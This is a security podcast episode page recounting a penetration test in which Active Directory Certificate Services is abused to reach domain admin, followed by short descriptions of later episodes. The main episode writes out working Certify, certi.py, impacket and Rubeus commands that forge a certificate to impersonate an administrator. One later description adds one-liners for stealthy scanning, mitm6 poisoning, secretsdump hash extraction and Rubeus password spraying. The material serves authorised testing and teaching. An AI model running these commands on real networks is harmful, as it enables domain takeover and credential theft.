7MS #501: Tales of Pentest Pwnage - Part 31

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Avsnitt(684)

7MS #516: Tips to Travel More Securely

7MS #516: Tips to Travel More Securely

In today's episode I talk about a cool self-defense class I took a while ago which was all about less lethal methods of protecting/defending yourself. I also talk about some safer ways to handle/hide cash while traveling on vacation.

14 Apr 202245min

7MS #515: Securing Your Family During and After a Disaster - Part 5

7MS #515: Securing Your Family During and After a Disaster - Part 5

Today we continue the series we started a few years ago called Security Your Family During and After a Disaster (the last part in this series was from a few years ago. In today's episode we focus on some additional things you should be thinking about to strengthen the "in case of emergency" document you share with your close friends and family.

6 Apr 202235min

7MS #514: Tales of Pentest Pwnage - Part 34

7MS #514: Tales of Pentest Pwnage - Part 34

Welcome to another fun tale of pentest pwnage! This one isn't a telling of one single pentest, but a collection of helpful tips and tricks I've been using on a bunch of different tests lately. These tips include: I'm seeing nmap scans get flagged a bit more from managed SOC services. Maybe a "quieter" nmap scan will help get enough ports to do a WitnessMe run, but still fly under the logging/alerting radar? Something like: nmap -p80,443,8000,8080 subnet.i.wanna.scan/24 -oA outputfile Using mitm6 in "sniper" mode by targeting just one host with: mitm6 victim-I-want-to-get-juicy-info-from -d victim.domain --ignore-nofqnd Using secretsdump to target a single host: secretsdump.py -target-ip 1.2.3.4 localadmin:@1.2.3.4 -hashes THIS-IS-WHERE-THE:SAM-HASHES-GO. Note the colon after localadmin - it's intentional, NOT an error! Rubeus makes password spraying easy-peasy! Rubeus.exe spray /password:Winter2022 /outfile:output.txt. Get some hits from that effort? Then spray the good password against ALL domain accounts and you might get even more gold! LDAPs relaying not working? Make sure it's config'd right: nmap -p636 -sV -iL txt-file-with-dcs-in-it

30 Mars 202250min

7MS #513: Interview with Christopher Fielder and Jon Crotty of Arctic Wolf

7MS #513: Interview with Christopher Fielder and Jon Crotty of Arctic Wolf

Today we're joined by our friends Christopher Fielder and Jon Crotty from Arctic Wolf to talk about their interesting report on The State of Cybersecurity: 2022 Trends (note: you can get some of the report's key points here without needing to provide an email address). The three of us dig in to talk about some of the report's specific highlights, including: Many orgs are running the bare minimum (or nothing!) for endpoint protection Cyber insurance costs are going up, and some customers are unable to afford it - or they're getting dropped by their carrier altogether Security is still not getting a seat at the decision-making table in a lot of orgs, and already-overburned IT teams taking on security as part of their job descriptions as well Seems like everybody and their mom is moving infrastructure to the cloud, but few are managing that attack surface, thus increasing risk The cyber skills gap remains a challenge - many security gurus are looking to get out of their current position, leading many orgs to hire inexperienced teams who make rushed/misinformed decisions about security tools and services, thus making the org less secure P.S. this is Christopher's fifth time on the program. Be sure to check out his first, second, third and fourth interviews with 7MS.

23 Mars 202255min

7MS #512: First Impressions of InsightIDR

7MS #512: First Impressions of InsightIDR

Today I'm sharing some first impressions of the Rapid 7 InsightIDR as kind of a teaser for an eventual new chapter in our Desperately Seeking a Super SIEM for SMBs series. Disclaimer: remember these are first impressions. There may be some missed detections I talk about today that are a me problem and not the technology. I hope to get to the root of those unresolved issues by the time I talk more formally about InsightIDR in a future episode. Enjoy!

17 Mars 202251min

7MS #511: How to Succeed in Business Without Really Crying - Part 10

7MS #511: How to Succeed in Business Without Really Crying - Part 10

Today we're continuing our series focused on [owning a security consultancy], talking specifically about: How not to give up on warm sales leads, even if they haven't panned out for 5+ years! Some cool Mac tools that help me manage 7MS - such as Craft and OmniFocus A sneak peek at a SIEM vendor that will soon be featured in an episode of Desperately Seeking a Super SIEM for SMBs

11 Mars 202236min

7MS #510: First Impressions of Tailscale

7MS #510: First Impressions of Tailscale

Today we share some first impressions of Tailscale, a service that advertises itself as "Zero config VPN. Installs on any device in minutes, manages firewall rules for you, and works from anywhere." Is it really that cool and easy? Listen to today's episode to find out!

2 Mars 202242min

7MS #509: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 4

7MS #509: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 4

Today we revisit our phishing series with a few important updates that help us run our campaigns more smoothly, such as creating a simple but effective fake O365 portal, and being aware that some email systems may "pre-click" malicious links before users ever actually do.

23 Feb 202234min

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